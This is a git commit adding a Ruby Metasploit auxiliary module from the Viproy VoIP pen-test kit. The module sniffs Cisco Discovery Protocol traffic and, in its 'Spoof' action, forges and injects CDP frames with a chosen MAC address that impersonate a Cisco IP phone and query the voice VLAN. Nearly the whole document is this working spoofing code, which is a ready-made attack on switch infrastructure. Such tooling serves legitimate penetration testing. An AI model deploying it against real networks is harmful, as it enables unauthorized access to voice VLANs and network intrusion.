Viproy VoIP Pen-Test Kit - Cisco CDP Testing Module
Fatih Ozavci
Jon Hart
parent
e66c9be66d
commit
d78d57eaf4
|
|
@ -0,0 +1,219 @@
|
|||
##
|
||||
# This module requires Metasploit: http//metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
|
||||
class Metasploit3 < Msf::Auxiliary
|
||||
|
||||
include Msf::Auxiliary::Report
|
||||
include Msf::Exploit::Capture
|
||||
|
||||
def initialize
|
||||
super(
|
||||
'Name' => 'CDP Discovery and Spoofing',
|
||||
'Description' => 'This module captures and sends Cisco Discovery Protocol packets for discovery',
|
||||
'Author' => 'Fatih Ozavci <viproy.com/fozavci>',
|
||||
'License' => MSF_LICENSE,
|
||||
'Actions' =>
|
||||
[
|
||||
[ 'Sniffer' ],
|
||||
[ 'Spoof' ]
|
||||
],
|
||||
'PassiveActions' =>
|
||||
[
|
||||
'Sniffer'
|
||||
],
|
||||
'DefaultAction' => 'Sniffer'
|
||||
)
|
||||
register_options(
|
||||
[
|
||||
OptString.new('SMAC', [ false, "MAC Address for MAC Spoofing"]),
|
||||
OptString.new('VTPDOMAIN', [ false, "VTP Domain"]),
|
||||
OptString.new('DEVICE ID', [ false, "Device ID (e.g. SIP00070EEA3156,SEP00070EEA3156)", "SEP00070EEA3156"]),
|
||||
OptString.new('PORT', [ false, "The Switch Port", "1"]),
|
||||
OptString.new('CAPABILITIES', [ false, "Capabilities of the device (e.g. Router, Host, Switch)", "Router"]),
|
||||
OptString.new('PLATFORM', [ false, "Platform of the device", "Cisco IP Phone 7975"]),
|
||||
OptString.new('SOFTWARE', [ false, "Software of the device", "SCCP75.9-3-1SR2-1S"]),
|
||||
OptBool.new('DUPLEX', [false, 'Duplex', true]),
|
||||
], self.class)
|
||||
deregister_options('RHOST')
|
||||
end
|
||||
|
||||
def run
|
||||
check_pcaprub_loaded # Check first
|
||||
lbl=["CDP Version\t","Device Id\t","IP Address\t", "Switch Port\t", "Capabilities" , "Software\t","Platform\t", nil,"Cluster Management", "VTP Domain Management" ,"Native VLAN\t",nil, nil, nil, nil, "VoIP VLAN Query"]
|
||||
print_status("Sniffing traffic.....")
|
||||
|
||||
open_pcap
|
||||
|
||||
if(action.name == 'Spoof')
|
||||
send_spoof
|
||||
end
|
||||
|
||||
each_packet do |pkt|
|
||||
p = PacketFu::Packet.parse(pkt)
|
||||
if p.proto != ["Eth", "LLDP"] and p.payload =~ /\x01\x00\f\xCC\xCC\xCC/
|
||||
pay=p.payload
|
||||
pos=30
|
||||
cdp=pay[22].getbyte(0)
|
||||
report = "CDP Version\t\t: #{cdp}\n"
|
||||
if cdp == 2
|
||||
while 1
|
||||
type = pay[pos-4,2].getbyte(1)
|
||||
break if pay[pos-2,2].nil?
|
||||
l=pay[pos-2,2].unpack('H*')[0].to_i(16)
|
||||
case type
|
||||
when 1
|
||||
d=pay[pos,l]
|
||||
d.chop! if d[-1] == "\n"
|
||||
report << " #{lbl[type]} \t: #{d}\n"
|
||||
when 2
|
||||
if pay[pos,4].unpack('H*')[0].to_i(16) == 1
|
||||
addr=pay[pos+9,4]
|
||||
ip=[]
|
||||
4.times {|i| ip << "#{addr.getbyte(i)}"}
|
||||
report << " #{lbl[type]}\t: #{ip.join(".")}\n"
|
||||
end
|
||||
when 3
|
||||
report << " #{lbl[type]}\t: #{pay[pos,l]}\n"
|
||||
when 4
|
||||
c=pay[pos+3,1].getbyte(0)
|
||||
c=c.to_s(2)
|
||||
cap={}
|
||||
caps=["Repeater\t\t","IGMP Capable\t\t","Host\t\t\t","Switch\t\t","Source Route Bridge\t","Transparent Bridge\t","Router\t\t"]
|
||||
report << " #{lbl[type]}\t: \n"
|
||||
c.length.times {|i|
|
||||
if c[-1].to_i == 1
|
||||
report << "\t\t\t #{caps[-1]} : Yes\n"
|
||||
else
|
||||
report << "\t\t\t #{caps[-1]} : No\n"
|
||||
end
|
||||
c.chop!
|
||||
caps.delete_at(-1)
|
||||
}
|
||||
caps.each {report << "\t\t\t #{caps[-1]} : No\n"} if caps.length > 0
|
||||
when 5
|
||||
report << " #{lbl[type]}\t: #{pay[pos,l].split("\n").join("\n\t\t\t ")}\n"
|
||||
when 8
|
||||
#report << " #{lbl[type]}\t:\n"
|
||||
#report << " IP: #{pay[pos+14,4]}\n"
|
||||
when 10
|
||||
report << " #{lbl[type]}\t: #{pay[pos,2].unpack('H*')[0].to_i(16)}\n"
|
||||
when 15
|
||||
report << " #{lbl[type]}\t: #{pay[pos+1,2].unpack('H*')[0].to_i(16)}\n"
|
||||
else
|
||||
report << " #{lbl[type]}\t: #{pay[pos,l]}\n" if lbl[type] != nil
|
||||
end
|
||||
if pos > pay.length
|
||||
break
|
||||
else
|
||||
pos = pos+l
|
||||
end
|
||||
end
|
||||
else
|
||||
report << " TTL\t\t\t: #{pay[23].unpack('H*')[0].to_i(16)}"
|
||||
end
|
||||
print_good("#{report}")
|
||||
end
|
||||
end
|
||||
close_pcap
|
||||
print_status("Finished sniffing")
|
||||
end
|
||||
def send_spoof()
|
||||
p=prep_cdp #Preparation of the CDP content
|
||||
dst_mac="\x01\x00\f\xCC\xCC\xCC" #CDP multicast
|
||||
|
||||
#Source Mac Address Preparation
|
||||
@interface = datastore['INTERFACE'] || Pcap.lookupdev
|
||||
smac = datastore['SMAC'] || get_mac(@interface)
|
||||
raise RuntimeError ,'SMAC should be defined' unless smac
|
||||
src_mac=mac_to_bytes(smac)
|
||||
|
||||
#Injecting packet to the network
|
||||
l=PacketFu::Inject.new(:iface=>@interface)
|
||||
cdplength=["%04X" % (p.length+8).to_s].pack('H*')
|
||||
l.array_to_wire(:array=>["#{dst_mac}#{src_mac}#{cdplength}"+llc+p])
|
||||
end
|
||||
def llc
|
||||
llc="\xAA\xAA\x03\x00\x00\f \x00"
|
||||
return llc
|
||||
end
|
||||
def mac_to_bytes(smac)
|
||||
return [smac.gsub(":","")].pack('H*')
|
||||
end
|
||||
def prep_cdp
|
||||
#options from the user
|
||||
device=datastore['DEVICE ID'] || "SEP00070EEA3156"
|
||||
port=datastore['PORT'] || "1"
|
||||
capabilities=datastore['CAPABILITIES'] || "Host"
|
||||
platform=datastore['PLATFORM'] || "Cisco IP Phone 7975"
|
||||
software=datastore['SOFTWARE'] || "SCCP75.9-3-1SR2-1S"
|
||||
vtpdomain=datastore['VTPDOMAIN'] if datastore['VTPDOMAIN']
|
||||
if datastore['DUPLEX']
|
||||
dup=1
|
||||
else
|
||||
dup=0
|
||||
end
|
||||
|
||||
#CAPABILITIES
|
||||
#define CDP_CAP_LEVEL1 0x40
|
||||
#define CDP_CAP_FORWARD_IGMP 0x20
|
||||
#define CDP_CAP_NETWORK_LAYER 0x10
|
||||
#define CDP_CAP_LEVEL2_SWITCH 0x08
|
||||
#define CDP_CAP_LEVEL2_SRB 0x04
|
||||
#define CDP_CAP_LEVEL2_TRBR 0x02
|
||||
#define CDP_CAP_LEVEL3_ROUTER 0x01
|
||||
|
||||
#Package Preperation
|
||||
p = "\x00\x01#{l(device)}#{device}" # Device ID
|
||||
p << "\x00\x03#{l("Port #{port}")}Port #{port}" # Port ID
|
||||
p << "\x00\x04\x00\b\x00\x00\x00A" # Capabilities
|
||||
p << "\x00\x05#{l(software)}#{software}" # Software Version
|
||||
p << "\x00\x06#{l(platform)}#{platform}" # Platform
|
||||
p << "\x00\x09#{l(vtpdomain)}#{vtpdomain}" if vtpdomain # VTP Domain Management
|
||||
p << "\x00\x10\x00\x06\x18\x9C" # Power Consumption 6300 mW
|
||||
p << "\x00\v\x00\x05#{dup}" # Duplex
|
||||
p << "\x00\x0F\x00\b \x02\x00\x01" # VLAN Query
|
||||
|
||||
#Header Preperation
|
||||
version = "\x02" # CDP version
|
||||
ttl = "\xB4" # TTL (180 seconds)
|
||||
checksum = cdpchecksum(version+ttl+"\x00\x00"+p) # CDP Checksum
|
||||
|
||||
p=version+ttl+checksum+p # CDP Payload
|
||||
|
||||
return p
|
||||
end
|
||||
|
||||
def l(s,n=2)
|
||||
l=s.length+4
|
||||
l="%0#{n*2}X" % l
|
||||
b=[l].pack('H*')
|
||||
return b
|
||||
end
|
||||
|
||||
def cdpchecksum(p)
|
||||
num_shorts = p.length / 2
|
||||
cs = 0
|
||||
c = p.length
|
||||
|
||||
p.unpack("S#{num_shorts}").each { |x|
|
||||
cs += x
|
||||
c -= 2
|
||||
}
|
||||
|
||||
if (c == 1)
|
||||
cs += p[p.length - 1].getbyte(0) << 8
|
||||
end
|
||||
|
||||
cs = (cs >> 16) + (cs & 0xffff)
|
||||
cs = ~((cs >> 16) + cs) & 0xffff
|
||||
cs = ([cs].pack("S*")).unpack("n*")[0]
|
||||
|
||||
cs = [ "%02X" % cs ].pack('H*')
|
||||
return cs
|
||||
end
|
||||
end
|
||||
Loading…
Reference in New Issue